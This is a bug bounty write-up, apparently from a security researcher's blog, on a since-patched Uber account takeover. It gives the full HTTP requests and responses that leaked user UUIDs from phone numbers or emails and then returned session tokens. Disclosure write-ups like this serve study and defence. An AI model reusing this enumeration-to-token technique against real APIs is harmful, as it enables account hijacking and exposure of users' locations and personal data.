Anand Prakash Blog: Uber Account Takeover Vulnerability: How I Hijacked Any Uber Account ($6,500 Bug Bounty)

This research is published with the permission of Uber under their responsible disclosure policy. The security vulnerability detailed in this write-up was disclosed by Anand Prakash of AppSecure and was swiftly resolved by Uber's engineering team.

Security Note: This issue shares similarities with the Facebook access token leak discovered in 2018.

About Uber Security Profile

Uber is a global mobility and transportation network company headquartered in San Francisco, California. Offering services across peer-to-peer ridesharing, food delivery (Uber Eats), taxi hailing, and micromobility, Uber operates in over 700 metropolitan areas globally with a market valuation exceeding $100 billion.

Vulnerability Summary & Impact

This technical write-up covers a critical account takeover vulnerability in Uber's API platform. The flaw allowed an attacker to hijack any Uber account—including Rider, Driver/Partner, and Uber Eats accounts—by querying user UUIDs and harvesting unauthenticated access tokens returned in API responses.

By exploiting this flaw, an attacker could:

Track real-time and historical victim location data.
Order rides and food charged to the victim's saved payment methods.
Access private account details (full names, email addresses, phone numbers, driver licenses).
Gain complete account persistence across Uber mobile and web apps.

Step-by-Step Exploit Walkthrough

Step 1: Enumerating User UUID via Phone Number or Email

First, I identified two unauthenticated endpoints on partners.uber.com that leaked the internal userUuid for any user when supplied with a phone number or email address.

API Request #1 (Phone Number Lookup):

POST /p3/fleet-manager/_rpc?rpc=addDriverV2 HTTP/1.1
Host: partners.uber.com
Content-Type: application/json

{"nationalPhoneNumber":"99999xxxxx","countryCode":"1"}

Response Leaking User UUID:

{
  "status": "failure",
  "data": {
    "code": 1009,
    "message": "Driver '47d063f8–0xx5e-xxxxx-b01a-xxxx' not found"
  }
}

The error string directly leaked the internal userUuid (47d063f8–0xx5e-xxxxx-b01a-xxxx) attached to the target phone number.

API Request #2 (Email Address Lookup):

POST /p3/fleet-manager/_rpc?rpc=addDriverV2 HTTP/1.1
Host: partners.uber.com
Content-Type: application/json

{"email":"victim@example.com"}

Response Leaking User UUID:

{
  "status": "failure",
  "data": {
    "code": 1009,
    "message": "Driver 'ca111b95–1111–4396-b907–83abxxx5f7371e' not found"
  }
}

Step 2: Fetching the Mobile Access Token & Hijacking the Account

With the leaked userUuid in hand, I issued a request to the vulnerable endpoint /marketplace/_rpc?rpc=getConsentScreenDetails on bonjour.uber.com.

Vulnerable Uber API Request:

POST /marketplace/_rpc?rpc=getConsentScreenDetails HTTP/1.1
Host: bonjour.uber.com
Connection: close
Content-Length: 67
Accept: application/json
Origin: https://bonjour.uber.com
x-csrf-token: xxxx
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3)
Content-Type: application/json

{"language":"en","userUuid":"xxxx–776–4xxxx1bd-861a-837xxx604ce"}

Vulnerable Response Leaking Full User Session Token:

{
  "status": "success",
  "data": {
     "getUser": {
        "uuid": "cxxxxxc5f7371e",
        "firstname": "Maxxxx",
        "lastname": "XXXX",
        "role": "PARTNER",
        "email": "victim@example.com",
        "token": "b8038ec4143bb4xxxxxx72d",
        "driverInfo": {
           "contactinfo": "999999999xx",
           "driverLicense": "None"
        },
        "partnerInfo": {
           "address": "Nxxxxxxx",
           "isFleet": true
        }
     }
  }
}

The response returned the complete user profile alongside an active mobile authentication token ("token": "b8038ec4143bb4xxxxxx72d"), allowing full takeover of the target account.

Remediation & Proof of Concept

Uber resolved the vulnerability by enforcing proper session authorization checks across all _rpc endpoints and ensuring sensitive authentication tokens are stripped from public responses.

Video Proof of Concept

Disclosure Timeline

April 19, 2019: Vulnerability reported to Uber via HackerOne.
April 25, 2019: Report triaged by Uber Security.
April 26, 2019: Patch deployed and $6,500 USD bounty awarded.
June 28, 2019: Disclosure requested.
September 9, 2019: Public disclosure approved by Uber.

Anand Prakash Blog

Uber Account Takeover Vulnerability: How I Hijacked Any Uber Account ($6,500 Bug Bounty)